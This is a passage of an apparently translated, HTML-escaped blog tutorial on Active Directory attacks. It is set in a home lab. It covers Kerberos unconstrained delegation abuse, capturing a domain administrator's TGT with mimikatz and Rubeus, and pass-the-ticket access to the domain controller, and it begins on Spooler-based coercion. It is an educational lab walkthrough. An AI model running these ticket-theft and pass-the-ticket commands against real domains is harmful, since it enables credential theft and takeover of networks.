class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. The user sends a `KRB_AS_REQ` message to the `KDC` to request a forwardable `TGT1`.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. The KDC returns `TGT1` in a `KRB_AS_REP` message.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The user uses the TGT1 from step 2 to request a forwarded TGT2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. The KDC returns TGT2 for the user in a KRB_TGS_REP message.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. The user uses the TGT1 returned in step 2 to request an ST (Service Ticket) for Service1 from the KDC.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. The TGS returns the ST for service1 to the user in a KRB_TGS_REP message.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7. The user sends a KRB_AP_REQ message to request Service1. The message contains TGT1, the ST for Service1, TGT2, and the SessionKey for TGT2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8. service1 sends the user&amp;#39;s TGT2 to the KDC in a KRB_TGS_REQ message to request an ST for service2 on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9. In a KRB_TGS_REP message, the KDC returns the ST for service2 to service1 along with a session key that service1 can use. The ST identifies the client as the user, not service1.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;10. service1 sends a KRB_AP_REQ to service2 on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;11. service2 responds to service1&amp;#39;s request.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12. With this response, service1 can respond to the user&amp;#39;s request from step 7.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;13. The TGT forwarding delegation mechanism does not restrict which service service1 can use TGT2 for, so service1 can request a ticket for any other service from the KDC on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;14. The KDC returns the ST requested in step 13.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;15-16. service1 requests other services on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;code&gt;TGT1（forwardable TGT）&lt;/code&gt; is used to access &lt;code&gt;Service1&lt;/code&gt;, while &lt;code&gt;TGT2（forwarded TGT）&lt;/code&gt; is used to access &lt;code&gt;Service2&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;Environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain: &lt;code&gt;test.local&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain controller: windows server 2022, hostname: &lt;code&gt;WindowsServerAD&lt;/code&gt;, IP: &lt;code&gt;192.168.0.110&lt;/code&gt;, user: &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain-joined host: windows 10, hostname: &lt;code&gt;win10&lt;/code&gt;, IP: &lt;code&gt;192.168.0.104&lt;/code&gt;, user: &lt;code&gt;jerry&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;As mentioned above, unconstrained delegation is generally configured on service accounts or machine accounts. Setting up an environment and creating a service account is a bit of a hassle, so using a machine account is easier here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Configure on the domain controller (Domain Admin privileges required):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerShell commands:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure the WIN10 machine account for unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Verify the configuration:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check the host&amp;#39;s delegation configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADComputer WIN10 -Properties userAccountControl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use PowerView to find all hosts with unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -Unconstrained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use an LDAP query&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainObject -LDAPFilter &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With that configured, we can get ready to make the domain administrator trigger authentication.&lt;/p&gt;&#10;&lt;p&gt;P.S. I have already elevated to administrator on this win10 machine, so I can host plenty of things locally, such as IIS or MYSQL. The account currently in use also has unconstrained delegation rights. At this point, I can set up whichever service I want—IIS, MYSQL, and so on—and wait for the domain administrator to access it.&lt;/p&gt;&#10;&lt;p&gt;Configure the WINRM service on win10.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the following commands on WIN10:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Configure WinRM quickly (run as administrator)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm quickconfig -q&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Allow HTTP transport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm set winrm/config/service @{EnableCompatibilityHttpListener=&amp;#34;true&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Configure the allowed authentication methods&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm set winrm/config/service/auth @{Basic=&amp;#34;true&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm set winrm/config/service/auth @{Kerberos=&amp;#34;true&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Configure the firewall rule (if not already enabled)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enable-PSRemoting -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 5. Confirm that the WinRM service is running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 6. Check the WinRM listener&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm enumerate listener&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run on the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Enter-PSSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm quickconfig # Ensure the WinRM service is enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Test-WSMan -ComputerName WIN10 # Test the connection&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;p&gt;At this point, the domain administrator&amp;rsquo;s TGT is cached on &lt;code&gt;win10&lt;/code&gt;, and we can dump it with mimikatz.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then use ptt to inject the TGT into the current session.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\WindowsServerAD.test.local\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get the method between the horizontal rules to work. It kept failing, and I still don&amp;rsquo;t know why. The error said that the system could not contact a domain controller to service the authentication request and to try again later. So it looks like I can&amp;rsquo;t use mimikatz here.&lt;/p&gt;&#10;&lt;h5 id="rubeus"&gt;&lt;a href="#rubeus" class="header-anchor"&gt;&lt;/a&gt;Rubeus&#10;&lt;/h5&gt;&lt;p&gt;This worked fine for me.&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/GhostPack/Rubeus/releases/tag/1.6.4" target="_blank" rel="noopener"&#10; &gt;https://github.com/GhostPack/Rubeus/releases/tag/1.6.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;You need to compile it yourself. Install vs, open the sln file, and build the solution.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I compiled it already. The commands below are the smoothest workflow I found.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export the obtained ticket to ticket.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap &amp;gt;&amp;gt; ticket.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If successful, the text file will contain Base64-encoded data; import the ticket directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe ptt /ticket:[BASE64_ENCODED_TICKET]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Here is why I did not use the other commands. This is only for reference; there is no need to test it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is supposed to import the ticket directly, but it did not work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /targetuser:administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# In practice, the two commands above behaved the same; /ptt did not appear to work&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We actually have the Base64-encoded ticket now, but copying it is painful because all the spaces and line breaks need to be removed. Saving it to a file is much easier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is very easy to copy. That is why the working command above writes it to a file before copying it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Next, write the Base64 data to admin.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import it with Mimikatz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge # Clear existing tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt admin.kirbi # Import the new ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unfortunately, the import failed immediately with an error&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;So the working flow I gave at the start is probably the best option. Maybe my windows server 2022 version is too new, or perhaps my mimikatz version is too old. Either way, at least there is one method that works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName WindowsServerAD&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We still use the &lt;code&gt;WinRM&lt;/code&gt; service to connect back to the domain controller.&lt;/p&gt;&#10;&lt;h4 id="unconstrained-delegation--the-spooler-service"&gt;&lt;a href="#unconstrained-delegation--the-spooler-service" class="header-anchor"&gt;&lt;/a&gt;Unconstrained Delegation + the Spooler Service&#10;&lt;/h4&gt;&lt;p&gt;After reading through this, it feels a bit like NTLM relay, though it is not quite the same. At least both techniques use the spooler service to trigger authentication.&lt;/p&gt;&#10;&lt;p&gt;Plain unconstrained delegation requires an administrator to connect voluntarily, which makes it rather awkward to use in a real engagement.&lt;/p&gt;&#10;&lt;p&gt;Combining unconstrained delegation with the Spooler service lets us force a specified host to connect. This scenario was presented by &lt;code&gt;tifkin_&lt;/code&gt;, &lt;code&gt;enigma0x3&lt;/code&gt;, and &lt;code&gt;harmj0y&lt;/code&gt; at &lt;code&gt;DerbyCon 2018&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;Presentation slides: &lt;a class="link" href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory" target="_blank" rel="noopener"&#10; &gt;link&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;How it works: it abuses an old but enabled-by-default method in the Windows Print System Remote Protocol &lt;code&gt;（MS-RPRN）&lt;/code&gt;. A domain user can call the MS-RPRN &lt;code&gt;RpcRemoteFindFirstPrinterChangeNotification（Ex）&lt;/code&gt; method to force any computer running the &lt;code&gt;Spooler&lt;/code&gt; service to authenticate over &lt;code&gt;Kerberos&lt;/code&gt; or &lt;code&gt;NTLM&lt;/code&gt; to a target chosen by the attacker.&lt;/p&gt;&#10;&lt;p&gt;The request flow looks like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Image source: &lt;a class="link" href="http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/" target="_blank" rel="noopener"&#10; &gt;http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The &lt;code&gt;Print Spooler&lt;/code&gt; service runs automatically by default.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite is access to a domain-joined machine whose machine account has unconstrained delegation enabled.&lt;/p&gt;&#10;&lt;p&gt;My environment is unchanged from the one above.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;tifkin_&lt;/code&gt; open-sourced the POC on GitHub: &lt;a class="link" href="https://github.com/leechristensen/SpoolSample" target="_blank" rel="noopener"&#10; &gt;https://github.com/leechristensen/SpoolSample&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I 